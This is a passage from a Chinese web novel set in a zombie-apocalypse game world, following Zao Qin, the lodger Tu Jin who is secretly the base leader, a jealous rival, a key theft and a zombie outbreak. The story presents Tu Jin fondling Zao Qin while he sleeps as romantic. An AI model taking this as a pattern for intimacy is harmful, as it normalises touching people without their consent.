听到涂晋去倒水,枣芩在被子里悄悄把裤子脱了,他抬头瞄了眼,涂晋回来就在地上睡下了。 忽然间,眼前一黑,头顶的灯灭了。枣芩缓缓坐起来,挪到床边,赤裸的腿垂下去。 疑惑地说:“不对呀,现在才是十二点啊。” “嗯?”涂晋嗓音发沉,“你这里没有表,我估摸的,我不知道灯十二点灭。” 他们那栋楼是不定时间的。 “……”枣芩没说话。 垂在床边的脚踝忽然被一只炙热粗糙的手轻轻握住,还往上摸了摸。 枣芩被吓了一跳,一瞬间觉得是一条蛇顺着自己的腿往上爬,酥酥麻麻,鸡皮疙瘩都要起来了。 “涂晋……”枣芩往回收,没收回来。 涂晋另一只手也摸上来。 没有窗帘的房间,月光下一个黑影起身,跪在枣芩脚下,像是虔诚的信徒般抬头看他,但是黑夜中眼神是仗着枣芩看不见的侵略性。 他的身体温度高,起身的瞬间,枣芩都感觉一阵很轻的热风扑在腿上。 “我跟你。行吗?”他这么说。 枣芩彻底收不回来了,惊愕不已,忐忑问:“什么、什么意思?” 涂晋轻笑一声,舔了下尖牙,喃喃:“我给你当情人,你养我……” 第77章 第 77 章 他还在睡懒觉 枣芩以前都不知道自己的脚这么敏感, 能明晰感受到另一个人手掌的轮廓和温度。 “我养不起你啊……我连我自己都养不起。” 枣芩语气急促,因为对方救了他才忍下发脾气的冲动,脚趾已经羞赧的蜷缩起来。 涂晋的手一松开, 枣芩就立马把脚收回来, 两只脚叠在一起, 藏在被子里。 “那你可以让我先住这里吗?”他问。 枣芩知道他是太忧虑了, 毕竟他没有住的地方,也没有工作。 下意识想依靠自己, 这个他救过的人。枣芩可以理解的。 不然谁会愿意摸别人的脚, 除了宋呈、小怪物…… 小怪物都不算人。 而且涂晋真的选错人了,枣芩已经打算着离开基地了。 他缓缓点头, 想起对方看不到,开口说:“可以的,你先住着吧,我明天去问问朋友, 能不能帮忙给你找一个房间,你就不用和我住了。” “……好。” 不知道为什么, 枣芩这晚睡的格外沉,是平时不会有的睡眠质量。 一只手按在床铺陷下去,随后上来一具高大身体,都全然不知。 比起前几天秋日的萧瑟, 今晚很暖和, 像是被子里被放了一个很大的热水袋,源源不断冒热气。 枣芩都不用紧紧裹着被子了,他忍不住朝热水袋贴过去,汲取温暖。 热水袋被他的动作,弄得呼吸发促。主动调整身体, 让枣芩侧枕在他胳膊上,搂入怀中。 他脸颊贴着枣芩的额头,伸手摸了下他微凉的脸颊,看见他睫毛近在咫尺闭着,满足地叹谓一声。 枣芩身上很软,脸颊是软的,腹部也是软的,嘴巴也是软的。 “你身上怎么这么软呢?”他轻轻抓握着枣芩的胳膊、腰下,偶尔稍微用点力,来回的摸, “腰为什么细还这么软。” “嗯?”明知道枣芩听不到,没有抵抗能力的在他怀里,他还故意搞得好像是枣芩不愿意回答。 察觉到枣芩眼皮在颤,涂晋轻轻笑了声,并没有担心他会醒过来,自己没法解释。 “梦到我们在干什么呢?” 一个漫长恍惚的梦。 枣芩醒来下意识坐在床边要穿鞋,脚试探着踩,寻找自己的鞋。 他脚下一用力,踩到了什么东西。 枣芩还没彻底清醒,低头一看,他床下躺着一个长条条的人,自己的脚正踩在他下腹部,很硬。 啊,怪不得今天的地面这么近呢。 枣芩呆了半分钟,脚心被灼热温度烫着,逐渐意识到自己踩着什么东西,瞳孔微颤,猛然想要抽回来。 “呃…” 脚踝被握住,对方没有把他的脚赶紧挪开,只是紧紧抓着。 枣芩看了眼,他好像很难受,表情很怪异。 枣芩简直要怀疑自己的脚跟涂晋犯冲。 他刚起床的白皙脸蛋烧红,立马被搞得,清醒到不能再清醒了。 他又抽,依旧抽不出来,只能急说:“你先松开我!” “疼。” 涂晋喘着粗气,张了张嘴,整个身体都在起伏,似乎疼得过分了,他腰部颤了颤,反而更朝着枣芩的脚靠近了。 半晌,才手指一根根松开枣芩的脚踝。 他缓缓坐起来,在枣芩惊疑不定的脸色下,好像洇开一块奇怪的深。 涂晋停了停,压下恶劣口吻,看向枣芩说:“怎么办,好像踩坏了。” “啊、”枣芩咬着唇缩回床上,手指抓皱床单,关节泛白,他动都不敢动自己的脚。 怎么会这样? 可看着涂晋那副呆瓜样,他是不是真以为自己给他踩坏了?? 还要怨自己了? “你真有够笨的……”枣芩脱口而出,一下子后悔也收不回来了。 只能红着脸找补,“你没有自己碰过吗?连这个都不知道?这可不关我的事,谁叫你睡在我床旁边的,我是不小心的。” 枣芩闪烁的目光,窘迫的表情,在涂晋眼里只有迷人——这两个字。 他脑子都有点发麻,快迷糊了。 脸色发白,他故意不依不饶的朝枣芩说:“是你让我睡地上的。” “?我、昨晚睡之前你还在那里呢。”枣芩指着更远一点的位置。 其实没那么远,好像跟现在差不太多,但如果是原本的位置,枣芩怎么也不会踩到他。 枣芩抿着嘴巴,到床尾穿好袜子,低头就见自己的鞋摆放地上,这确实是他自己脱的,睡前刻意脱到床尾了。 只是醒来忘了。 他心虚地穿好。 【爽到他了啊宝宝,你怎么不用力给他踩死呢,呜呜呜】 【死狗,要想人不知除非己莫为,我老婆早晚知道,你该如何自处?】 【偷鸡不成蚀把米】 【自作孽不可活】 【咎由自取自食恶果】 【你们一个个旁边摆的成语词典骂呢?】 【恰恰相反,有感而发】 枣芩才不要给他解释这到底是什么,但知道对面人穿个脏裤子晃悠,他就膈应。 “那个,那个铁柜子里,有我买的内裤,你可以穿。”枣芩飞快指了下铁柜子。 这种柜子是学校办公室放文件的,枣芩就地取材,用来放衣服了,虽然他并没衣服,都是晚上洗了白天正好穿。 涂晋的声音飘到耳边,“万一挤得更坏了……” “有大的!你先看看行吗?”枣芩声音越来越小,头根本不好意思抬起来。 涂晋虽然心地善良,但嘴巴太讨厌了,弄得枣芩很噎。 在第一次见面的时候枣芩就该知道,他说话完全不过脑子,不考虑别人的感受,是场面的尴尬剂。 “提前预料到我会来吗?好厉害。” 又是一句调侃似的话,只是语气微妙沉缓。 涂晋面无表情挑了下眉梢,打开了柜子,柜子里的东西少的可怜,两盒内裤放在左边,都拆过了。 浅蓝色边的白色内裤已经没了两条,灰色黑边的都还在,盒子上标了码数,枣芩根本穿不了。 那给谁准备的呢? 他沉默盯着,蔑然挪开视线。 丑得要命,品味差得没边,枣芩居然让他穿这个。 他给自己找了借口,心情合理又难以克制的变差,胸口憋闷的仿佛被堵了块石头。 “什么啊。”枣芩皱着脸,小声嘟囔。 涂晋合上了摇摇晃晃的铁门,“穿别人的不好。” 枣芩都这人的脑回路震惊了,不想穿别人的,宁愿脏着吗。明明都是干净没穿过的。 枣芩觉得自己脾气真的很好,以后再也不允许任何人说自己脾气坏了。 “额,那我送给你,就成你的了。”枣芩大度地抬了抬下巴。 涂晋靠在柜子上,点点头,“不送别人了?” 正经人谁会送内裤啊。 “没有要送人啊,是那天去买内裤随便拿了一个,回来才发现是大的,就又去买了合适的……” 主要是因为那天一直有几个男生在偷看他,让枣芩很羞,所以飞快拿了一个灰色,比较符合普通男生的喜好。 发现买大了,再回去的时候他们已经不在了,灰色的内裤也没有了,枣芩就选了自己喜欢的。 再去看,涂晋已经拿出来一条,作势要脱裤子换了。 枣芩被他的轻浮吓得赶快出门。他打算去找林里,看能不能帮忙找一个房间给涂晋住,快点让他搬走。 枣芩慢吞吞下楼。 走在路上才有空回想昨晚的梦,眉心稍稍蹙起。 他做了很奇怪的梦,完全就是不可能发生的事情,做梦也不该发生。 这导致他更迫切想让涂晋离开。 他居然梦到,他坐在涂晋怀里,涂晋手臂来搂抱他的腰,而他任由涂晋抱着亲嘴。 手臂还缠上涂晋的脖颈,把自己送上去,主动张开一点唇,让对方进来。 而且梦里自己被亲的时候,并没什么抵触情绪。 荒谬! 小跑着来到林里的住处,门敲不开,枣芩在原地又等了一会,依旧无果。他凑到门上听,确定了里面真的没人,也没动静。 枣芩垂着的眼睫透着郁闷,除了林里,他确实不知道找谁帮忙好了。 他想了想,其实还有一个人可以试试。 他正要离开,高大魁梧的男人缓慢过来,站在他面前,轻轻叫他名字,“枣芩。” 枣芩眨眨眼,对方看起来很老实,眉毛眼睛都很粗粝,是一张没有印象的脸,“你是?” “我、你在问我名字?我叫郑英雄,我是外出队3队的。” 他黝黑脸上红起来,见枣芩盯着自己,不由得手不是手,脚不是脚,看向枣芩站着的房门,“你来找他?” 枣芩点点头,问:“你知道他去哪里了?” 郑英雄知道,咽了口口水,“嗯,他有任务出去了,可能暂时回不来。你找他什么事情?需要帮忙的话,可以说给我。” “我跟他也是朋友!”郑英雄说道。 枣芩不打算让刚认识的郑英雄帮忙,但还是说了下。 郑英雄听到枣芩要找房间给朋友住,霎时明白了,他嘴巴张了张。 他很想帮枣芩。 但是——“…抱歉。” 枣芩没有意外,因为本身也没有期待过。 他摇摇头,笑着说了声:“没事啊,谢谢。” 昨晚外出队开会太久,褚风脱身去找枣芩时医务室已经空荡荡。 他回到住处,躺在床上,翻来覆去睡不着,毫无睡意,直到天亮才合上眼。 睡梦中都是枣芩凌乱的衬衣和哭红的眼睛。 黑暗的角落里看不到脸的一群腌臜男人,围绕着他,要对他做下流事。他苍白着脸,被扼着手臂,无助地喊着褚风的名字。 而梦里的自己朝着黑暗处淡淡看了眼,没进去。 褚风猛然惊醒过来,撑着额头,脊背湿了一大片。 第一次枣芩没有答应他,他心情很糟糕,但他不愿意勉强,果断做了选择。进到基地后,没主动看过枣芩一眼。 昨天,枣芩主动找了他,因为听到他受伤给他带了蛋糕。 他再次提出,枣芩依旧没同意。或许是因为那个已经去世的前夫,褚风不知道。 他听出枣芩被欺负了,想离开这个基地。 其实那时,他心里自以为坚固的城门就开始岌岌可危。只要枣芩同意,他就和他一起走。 枣芩不同意,他就不去,不再关心枣芩的状况。 他不是什么喜欢就会无私奉献的舔狗,要追着枣芩跑,被他呼之即来挥之即去,连个男朋友的名头都得不到。 哪怕很难,他也只会逼自己放下。 可是他受不了枣芩被欺负,受不了枣芩处在危险当中,还没人保护他,受不了他可怜的模样。 名头、两情相悦这种东西,都是可以慢慢培养的。一段感情不是只一蹴而就才是好的。 日久生情的例子多的去了。 他从床上弹起来,嘴里说了句脏话,就出门而去。 只是他没想到,他反应过来回头找枣芩的时候已经晚了。 大概是枣芩已经醒来的时间,褚风来到他住处门口,曲着手指敲了两下门。 门只开了条缝,里面传来了不属于枣芩的、成年男人的声音,“你谁?” 褚风仿若被泼了盆冷水,“枣芩呢?” “……你找他什么事?跟我说吧。”他说:“他昨晚很累,还在睡懒觉。” 第78章 第 78 章 勇敢芩芩不怕困难 “……” 空气中看不见的硝烟流动。 昨晚很累。 还在睡懒觉。 明显带有暗示意味的词句, 说的轻飘,却在褚风胸口重重钉下去。 原本到来之前的种种幻想都作废。 他没做什么反应,就那么面无表情地伫立在房门口。 里面的声音突然恍然说:“知道了, 你是小芩昨晚等的那个朋友吧。” 随后像是多亲密的关系似的, 口吻散漫, 自作主张替枣芩说话。 “如果你是因为这事儿来道歉的, 就算了。我昨晚去接他了,没让他一直等, 他没当回事。” 他什么资格替枣芩原谅自己? 还叫……小芩? “呵、” 褚风舌尖抵着牙根, 遏制不住从胸腔涌出声。 他给枣芩带了衣服,因为昨天看到他只穿件旧衬衣。此时提着袋子的手上青筋暴起, 蔓延到手臂。 他当然知道枣芩屋子只有一张床,可此时里面多了一个人。 褚风不清楚自己是种什么样的感受,像是被蝇虫啃食心脏,没有多疼, 是折磨人的酸麻。 “算、了?”褚风咬着牙,硬生生挤出两个字。 冷淡的下三白眼固执盯着门, 似乎要透过门看到躺在床上酣睡的枣芩。 他语气毫无波动,“你让他自己出来,跟我当面说。” 他只听枣芩亲口说出来的。 没答应他是不是已经有人了?为什么不告诉他? 为什么还去等他了?为什么用那种委屈的、好像对他有一点感情的眼神看他? 不是很爱你老公吗?卿卿我我的。老公才死多久,怎么这就让别人留宿了? 你们是什么关系? 可心底又有一个声音说:你不保护他, 不见他, 他找了别人有什么错?枣芩又是你的谁,你有什么资格在这里愤懑? …… “我说了,他还在睡觉。”屋内人因为他的难缠而烦躁,没忍住不耐烦“啧”了声。 褚风直白说:“我会等他醒过来。” 门缓缓开了一半,门背后, 露出一张拧着眉的脸,阴森又眼熟。 在进基地当天,褚风见过他一面,他们都喊他老大。他脸色变了瞬。 褚风当时并没将这人放心里,只要这个地方可以让他生存下去,他无所谓掌权人是谁。 他怎么也没想到,第二次见面,是对方一副正宫模样,从枣芩的房里出来。 涂晋口吻透着寒意,“非得捅破窗户纸?他现在不想见你。” 他守在门口,像是恶犬守护着自己的宝藏,不肯被人看到一丝一毫。 想到什么,突然笑了下,笑中没有半点善意,倒显得讥讽,“从进基地开始,你没找过他一次吧。” “你想不到他这个样子会被欺负吗?如果不是我,你现在就不是在他自己的房间找他了哦。你很清楚吧?” …… 枣芩从烘焙店告别陈柚回家,才上楼就闻到香气四溢,脚步一顿,羡慕到口水都快冒出来了。 谁在吃独食! 他一路顺着味道走,就这么水灵灵走到了自己门口。枣芩都怀疑自己走错门了,睁大眼睛,试探性推开门。 屋内正中央,凭空多出一张桌子和两个椅子,以及一大桌琳琅满目的菜式。 涂晋如同早有预兆般等在门口,看到枣芩的表情,眼中划过愉悦,自然地接过他手里的袋子。 “终于回来了,再不回来都想去找你了。” 枣芩坐在餐桌前,还在发呆,这是末世副本可以吃的东西吗。 他半天想起来问这是哪里来的。涂晋说他买了菜,自己去后厨做的,花了很少的工分。 “你不会生气吧,我花你的工分。” 他见缝插针,叫了声:“小芩?” 枣芩已经在吃了,根本不在意涂晋在说什么,又叫了他什么。微鼓着脸颊摇摇头。 只是涂晋的存在,要让他在这里待的时间,再缩短一半了。 还好,从陈柚那里回来,他已经有些头绪了。 涂晋对食物没欲望,见枣芩喜欢,难得庆幸起救了几个厨师。虽然这只是他的任务。 他打开手中的袋子,里面是几件衣服,他唇角翘了下,“你买衣服了?” “这是柚子姐送我的。”枣芩歪歪头,说起来都能看到他脸上的开心,“她说这是她朋友送她的,她也没弟弟,身边只有我合适。” 涂晋扯了下嘴角,一件件把衣服放进柜子,这每一件可都是他挑选出来的。 他想看到枣芩穿上他选的衣服的样子。 吃完饭后,居然有人来收拾,枣芩愣愣看着,等到人走了,才问涂晋,“什么情况啊?你到底用了我多少的工分啊?” 不知道的还以为他们住酒店呢,还有人来收。 涂晋只解释说,应该是后厨急用盘子,一个后厨工作人员也刚好是他朋友,所以在不急的时候借给他了。 枣芩没再说什么,盯着楼下,很快就见那人从楼里出去。 才若有所思地抬起眼睛。 肩膀缓缓搭上一只手。 枣芩心底一惊,看了眼,才转过身对上涂晋漆黑的眼睛。 涂晋:“想什么呢?” 枣芩顿了两秒,问:“对了,你今天涂药了吗?” 床边。 涂晋脱下上衣,把后背露出来,他背上有不少淤青,是被那些人拳打脚踢落下的。 枣芩心中那不知从何而来的疑虑淡化几分,有些拧巴地皱下眉,轻轻呼出口气。 先不想了。 浅黄色的药膏挤在温热的食指,立马稍微化开一点。 他轻轻碰上涂晋的后背皮肤,细腻指尖用很轻的力道抹开。 力道轻是为了以防弄疼他。 可是落到涂晋身上,就变了味。 碰到的每一个毛孔肌理,都泛起挥之不去的痒意,钻进骨头深处。 涂晋呼吸发促,挺直腰背,后背禁不住收紧,喉结往下压。 枣芩不悦地拧眉,“你不要再动了。” 涂晋伸手从旁边探过来外套,放在自己腿上盖着,舔了下唇,闭上眼睛,“嗯,不动了。” 枣芩认真给他所有伤口都抹了药。后背全是枣芩涂的浅黄色,涂得好不好就是另说了。 枣芩稍稍凑进一点,把他们往均匀了抹,心里想着事情,问:“我应该去找这里的老大吗?他会管吗?” “?你干嘛不说话?” 眼前的场景骤然晃动,枣芩身体来不及稳住,就被涂晋转身压在身下,按着细白的手腕。 高大身体跨在他身体上方呼吸,极具压迫感笼罩着他,像个密不透风的笼。 原本盖在涂晋腿上的外套掉在枣芩腿上,他的腿抖了下。 枣芩懵住,雪白的脸全部近距离展现,他睫毛颤了好几下,因为错愕而张开一点唇,都可以看到里面小小的舌尖。 涂晋眼神闪烁,喉结滑动。 能不能现在就先亲他一下,舔他一点口水。 一下…… 毛茸茸的脑袋忽然垂下,像一只巨型动物,凑在枣芩胸前呼吸,透过单薄布料,落在他胸前皮肤上。 枣芩脸一阵白一阵红,简直都要怀疑他想咬自己一口了。 正要伸手推,身上人自己让开了。 他快速翻身起身,把衣服套上,“碰到我伤口了,有点疼,不好意思。” 枣芩:…… 他挠了挠自己的腿。 涂晋衣服掉在他腿上的时候,好像有什么硬硬的东西,在他的口袋里。 月色苍白,穿过窗户,打在闭着眼的涂晋身上。 月光把他鼻梁骨照得高挺,呼吸弧度很小。 简直跟死了一样。 枣芩趴在床边往下看着,眼底清醒,心里悄悄嘀咕。 他刚刚关了灯后,就不小心睡着了,还好系统把他叫醒来。 枣芩小小声:“涂晋……你睡了嘛?” 这样他就算醒着,也可以说是睡不着。 安静等待一会,没听到回应。 枣芩试探着坐在床边,用绷起的脚尖轻轻踩了踩他的手,他手心滚烫,火气很足的样子。 涂晋依旧一动不动的,看样子陷入了深度睡眠。 枣芩这才确保他真的睡着了,飞快穿上衣服,套上柚子姐给的外套,轻手轻脚,屏着呼吸开门出去。 如果他成功了,这个房间也就空下,可以让涂晋住了。 也算是报答他吧。 天气愈发冷下来,夜晚的风不算猛烈,白天虽然稀疏但多少也有人的路上,到了晚上寂静又空无一人,静悄悄的。 只有枣芩一个人的脚步声,很轻,稍微大一点都能吓到他自己。 他是个胆小鬼,他承认。如果不是知道末世副本没有鬼,他不敢一个人大半夜悄悄出来。 昨天,枣芩从陈柚那里打听到了关键信息。 ——外出队的车钥匙是锁匠做的旧式车钥匙,但是基地老大的办公室里,有所有车的智能钥匙。 枣芩知道自己发现了很重要的东西,他要从这里离开,不可能徒步走。 他超不经意问了老大办公室的具体地址,陈柚盯着他看了几秒,笑了下,还是告诉他了。 这么晚,老大肯定去睡觉了。 钥匙又那么多,少一个两个肯定不会被发现。 难道他那么闲,每天检查车钥匙? 枣芩顶着被风吹白的脸,蹑手蹑脚地走楼梯,楼梯上还能听到不知哪一间传来响亮的呼噜声,如雷贯耳。 枣芩一路战战兢兢摸上去,都想好如果被发现了,他就说他是来找褚风的,只是找错楼层了。 好在事情比他想的要顺利的多,办公室门把手一拧,门就开了。 月光洒在安静的物品上面,它们不会动,里面也没人。 枣芩紧张,控制不住紧咬着唇,从口袋掏出准备好的小手电筒照明,就开始翻找抽屉,这种地方最有可能放着钥匙。 很快,在连着翻开几个无意义的名册后,枣芩拉开一个不太顺滑的抽屉,抽屉发出“吱呀”。 他看到了一堆智能车钥匙,还有几个旧式的。 枣芩吞咽口水,手在上面晃了晃,不知道自己该拿哪个。 后天外出队才会出去,枣芩不知道他们会开哪个车,印象里都是开越野车。越野车的智能钥匙和别的车区别不小,还好他知道具体会长什么样。 “找到了。”枣芩轻飘飘的声音回荡在办公室内,本意是想给自己打气,说出来却只让自己发怵。 他把所有越野车钥匙一网打尽,塞进自己上衣口袋里。 只要安静离开就好了。 枣芩松了半口气,手电筒一晃,转身准备快点离开。 却在一闪而过的刹那。 高度紧绷的神经,让他敏锐看到了人类的身体,手电筒只扫过了那人的下半身,没看到脸。 枣芩瞳孔骤然紧缩,克制自己没做出太大反应。他睫毛发着抖,就当做没发现,脚步继续朝着门外去。 没关系的。没关系的…… 腰后的衣服布料被拽住,枣芩腰间感受到拉扯感,他缓缓转头没看见人,听到了座椅滚轮滑动的声音。 随后,枣芩猝不及防被迫后退几步,跌坐在一双结实的腿上。他的手不小心碰了下,冰凉得可怕。 “……你还活着吗?~”身后的气音轻而细,像是从远处来的,幽幽然。 第79章 第 79 章 逼到你心甘情愿做他的禁…… 原本安静无声的屋内, 拖着尾调的声音在枣芩耳畔荡开。 鬼! 毛骨悚然的感觉瞬间从后背贯穿全身,枣芩血液都仿佛逆流、又被冻住。 他起不来,只能咬着唇, 又扣又打着束缚他腰的冰手。 可对方箍得实在紧, 像绳索一般缠上他的腰, 紧紧贴着他的背。 他喉中发出紧张的呼吸声。 “胆小成这样。”身后人熟悉的声音说话时还在笑, 口吻轻挑,明显在逗弄他。 笑时, 断断续续呼出的气体落在枣芩脖颈后, 是属于人类的温热。 枣芩被吓得不轻,嘴唇颤了颤, 分辨出了声音的主人,小声嗫嚅:“涂晋……” “是我。”涂晋还有脸说话。 他摸着枣芩的手,像摸着一块冷玉,反手握在手心暖。 片刻后, 枣芩才缓缓转身,看向他。 随后。 劈头盖脸的巴掌扇在肩膀上, 有好几下都划过他的侧脸。 枣芩是用了力气的。他脸上发烫,恼火极了,控制不住地动手。 从来没有人这么打过涂晋,巴掌落下来的第一秒, 他感觉有点疼, 想阻止来着,没敢。 随后更多的是逗弄了喜欢的人,被打后的一股莫名暗爽。 枣芩被吓得浑身都软了,打够了,就趴在他肩膀上缓着, “……我还以为。” 说着,他又打在涂晋胳膊上,他肩膀硬,枣芩打得手疼。 “真吓到了?”涂晋在他后背顺气,手停在腰后。 他似乎真的把枣芩吓得不轻,小声吸气,身体都在颤抖。 枣芩垂着眼睛,惊魂未定,手慢慢从口袋里出来。 涂晋应该没看到吧。 “讨厌死了……你怎么在这里?”枣芩理直气壮,也不说自己在这里有多奇怪。 他声音小,涂晋也跟着他放低声音,解释说:“你关门的时候我醒了,担心你才跟过来。” “……那你为什么不早点说话?静悄悄的,明明就是故意吓唬我吧。” 说着说着,只有故意的一条解释,枣芩气不打一处来,“算了,快点走吧。” 这时他才意识到自己一直坐在涂晋腿上,竟没觉得奇怪。涂晋身上冷气十足,大概是被外面的风吹的。 他立刻要从涂晋腿上下来,对方的手却突然拿着东西,横在他眼前,“这是什么?” 黑暗中,枣芩看了眼,手摸摸口袋,呼吸一滞,猛然夺回来。 “你好烦人……我要生气了。”枣芩口吻不悦,更多是为了掩饰做贼心虚的慌乱。 “你想离开这里?”涂晋熟稔靠在座椅,慢悠悠问。 枣芩抿住唇,支吾:…… 涂晋在这里没有工作,也没有住处,似乎也被针对。 一句试探,“你不想吗?” “挺想的。”涂晋这么说,“我在这里熟悉的人只有你,你要是走了、” “那你和我一起吧。”发觉到他踌躇的态度,枣芩眼睛一下亮起,表情认真盯着他,“我们去首城的基地!” “感觉好危险啊。”涂晋犹豫,在枣芩苍白手指捏住他的衣服时, 勾起唇角说:“不过和小芩的话,什么都不怕了。” 枣芩:“你说的!” 有人陪自己一起走了,路上不怕孤单了。 好开心! 枣芩心跳加速,一激动,搂抱住他的脖子。 柔软的身体压扑上来,还是主动的,不是被他搂进来。 温软好闻的香气也跟着他的体温,在涂晋鼻尖若隐若现,跟钩子似的,要闻就得凑近。 他抱住怀里的身体。 真是快疯了…… 他没打算骗枣芩,这倒不失为一个好办法。 在这里发生的事情肯定瞒不住,一定会被枣芩知道。 倒不如离开这里,把组建基地,拯救500人的任务先放放。 和枣芩离开,只有他们两个人,在路上不知道有多少相处时间。 亡命鸳鸯、相依为命。 晚上冷了,枣芩说不准都要像现在一样在他怀里取暖。 身份被揭露的概率也会更小。 枣芩只简单抱了他一下就要松开,他紧紧,“有点冷。” “那我们快点回去。”枣芩推他。 涂晋应该早点找机会投诚,让枣芩觉得他是自己人,就可以早点像现在一样,回去的路上都牵着手一起走。 像真情侣。 不对,就是真情侣。只是时机未到。 枣芩的手凉。 还好他的手热。 枣芩很兴奋,回去坐在床上打着手电筒跟他说自己的计划, “我们再待一天。等天亮吃点好的,再买点东西带着,然后睡一天,等到天黑快凌晨的时候,我们就用智能车钥匙钻进车后备箱,我看过了,他们出去前都不开后备箱。” “等到外出队出去停下车,我们就趁机钻前面,开车跑掉。”他手指做了个溜掉的动作。 枣芩怕涂晋觉得他太狠心,补充说:“一般外出队不会只有一辆车,我观察过了,他们可以坐另一辆回去,再开车来接剩下的。” “小芩想得好周全。”涂晋坐在床边,看着他一张一合的嘴唇。 枣芩被夸,有点飘飘然,“你也好好睡觉,补一补觉。” 说话间自顾自地躺回去,被子盖到脖子,只露着脸。 他今天如愿以偿,完成了任务,很满足。 “今天是最后一晚在这里睡,我能不能……”涂晋眉梢轻挑,“睡床上?” 他一本正经说:“地上很硬,我怕睡不好,到时候影响到你的计划。” 枣芩想了想,没太多犹豫,就带着自己的被子,往边缘挪动,“你把你的被子拿上来吧。” “好。” 另一个人近在咫尺的呼吸声并没有打扰到枣芩的好睡眠。 翌日。 他拉着涂晋去食堂,奢侈了一把。 现在就算把所有工分花完都没关系,刚好不浪费。 回住处路上,就见刚进大门的位置,有手中拿着枪,领着五个从没见过的人进来。 枣芩看着,拽拽旁边的涂晋,小声:“那是不是新进入基地的?” 涂晋正盯着他看,听到他说就看过去,瞳孔倏然眯了眯,“嗯,对。” 枣芩观察着五人,其中有个个子矮小的女孩,看起来只有七八岁,被她妈妈牵着手。 消瘦可怜,脸上灰扑扑,有一对黑溜溜的眼睛很显眼。 她朝枣芩看过来,她妈妈摸摸她的头。虽然同样消瘦,但目光坚毅平静。 她们以外,还有三个男人,有高有矮,却也是同样的虚弱。 她们不知道要被带去哪。 带领他们的男人朝这边望过来,枣芩觉得眼熟,一下想起来,这男人他见过——郑英雄。 涂晋不知道在想什么,忽然开口:“小芩,我想去跟之前后厨认识的人告别,可以吗?” 枣芩不知不觉就适应了这个称呼,没觉得奇怪。 他点点头,这有什么可跟他说的。 涂晋离开的方向确实是食堂那边,枣芩转过头,朝着那几人过去。 他被阳光照着,走近了,薄而白的皮肤下透着血色,睫毛轻轻地阖动,微笑着打了个招呼,“郑英雄。” “枣、芩。” 他身体不由得站直了,手心发烫,面上看起来还算正常,“你找我?” 枣芩撇着嘴巴,四处乱看,落在郑英雄身后,“我就过来看一看。” 小女孩睁着黑溜溜的大眼睛,小脸上都没肉了,看着就是赶了好多天的路。 枣芩摸到口袋,正要靠近她,被郑英雄用步枪横在胸前,抵了抵。 枣芩下意识后退半步。 郑英雄连忙挪开枪,解释说:“他们、都还没检查,怕有病毒感染到你,你先别靠近。” 枣芩连忙点点头,吞咽口水,又后退半步,“不好意思,我不靠近。” 小女孩面对郑英雄忽然放大的声音,没被吓到,而是用自己的大眼睛看向他,贴紧妈妈的腿。 枣芩从上衣口袋里掏出鸡蛋的时候,她的眼睛瞪得更大了,拉动妈妈的手,声音细小没忍住叫,“妈妈,鸡蛋。” 她妈妈看了眼,按住她的头。 “我不碰到她。”枣芩站在郑英雄面前,小声问:“这个都不可以吗……?” 雪白手心放着颗鸡蛋,肯定还是热的,因为枣芩手心都被烫红了。 “没。”郑英雄摊开大手,“我给她。” 他看着枣芩开心地把鸡蛋放在他手上,指尖短暂触碰他手心,只有不到一秒。 枣芩看到郑英雄给了小女孩,她妈妈点点头同意,她小声说了句谢谢,才飞快用自己脏兮兮的小手剥开,一口咬了一大半。 涂晋买来的食物,省着吃的话,够他们在路上一周。 这颗鸡蛋是枣芩刚刚顺手塞口袋里的,想着多点存粮。 这也是缘分。 虽然枣芩自己马上要离开这个基地了,但不得不说她们来到这里,在末世中,是一个很不错的选择。 “你哪里找来的呀?”枣芩看着自己的背包,坐在床上,惊讶地翻开查看。 涂晋似笑非笑,做了个微微惊讶的表情,“拿钥匙去开了车门,随手拿的,是你的?” “真的是我的。”枣芩感觉自己今天运气很好,开门红的架势。 明天一定会顺利。 只是,原本放在里面的两本结婚证没了。 不过也不是重要的东西,枣芩没问出来。 下午,一声惊恐的尖叫划破安静有序的基地。 枣芩刚从烘焙屋见了一面陈柚,出来不久,在上楼梯准备回去。 尖叫声离他极近,就在上面一层,枣芩抬头顿了顿。 不多时,就被楼下冲下来的人群吓到,手指握住旁边的栏杆,稳住身体。 好几人擦着他下楼,枣芩听到几声“有丧尸!!!” 涂晋还在上面呢,但好在丧尸所在的楼层不是涂晋所在的楼层。 不知道丧尸会不会往上跑。 枣芩犹豫着,袖子突然被拽了下,他茫然看过去,是今天那对母女。 妈妈还背着女儿,此时已经洗了脸收拾过了。 她拧着眉,紧迫道:“快走!已经感染几个了。” 枣芩满头雾水,跟着她们一起跑下楼。才出去没一会,转头就亲眼目睹,楼梯口一个面容发青的男人,按着另一个崩溃尖叫的男人,一口咬在他脖颈上。 血瞬间飙出来。 下一秒,两人同时倒下。 枣芩脑袋“嗡”了下,外出队以及护卫队的成员逆着人流方向,往楼里走。那对母女已经不见踪迹。 枣芩旋即朝着烘焙小屋的方向跑去。一进门,因为速度太快,没反应过来,和里面人撞了个满怀。 额头直接磕到对方下巴上,泛起疼痛。 对方握着枣芩的肩膀,把他拉进来。 枣芩摸着被撞的额头,错愕看着几天没见的人,“林里。” 现在顾不上叙旧,枣芩连忙把门反锁,在透明窗户看着外面,手按在门上松了口气。 校园内此时没丧尸。 为了保险起见,他推着林里往烘焙小屋深处走去,“你什么时候回来的?” 枣芩脑子里还很乱,事情太突然,他还不知道涂晋现在怎么样。 今天发生了意外,明天外出队还会不会照常出去,他们的计划还能不能顺利进行。 “他是这么和你说的吗?”林里转过身来,一张不算成熟的脸上没有往日的笑容,比前几天瘦了些。 枣芩:“什么?” “涂晋说我出去了吗?” 枣芩不明白林里为什么这么说,怔着歪了下头,“你也认识他?” 隐隐绰绰的虚假薄膜似乎要被戳破,枣芩心中发慌,不由得吞咽口水。 门突兀被敲响,枣芩扭头去看,快步过去。 看到是那对母女,就动手开了门。 还是没被拦住,操场上出现一个横冲直撞的丧尸。 枣芩觉得眼熟,像是和母女俩一起进来的其中一个男人,外表看不出伤势。 她们没有表情,快速进来,关上门。 之后就没什么动作,大的拉着小的,站在门口。 枣芩开口叫她们往里面走,她们才进来。 小女孩洗干净了,梳着大光明马尾辫,小小的一个啾,刚刚够扎起来。枣芩记得今早她还是凌乱的长发,对着她笑了下。 他看了眼林里,说这里的暖壶有水,她们可以喝,但并没有人有动作。 枣芩怕她们是不好意思,只好自己倒水,递到她们面前。见她们还不喝,有些无措地反应过来,人家可能是真不想喝。 “这里有水龙头的。”他对那位妈妈说。 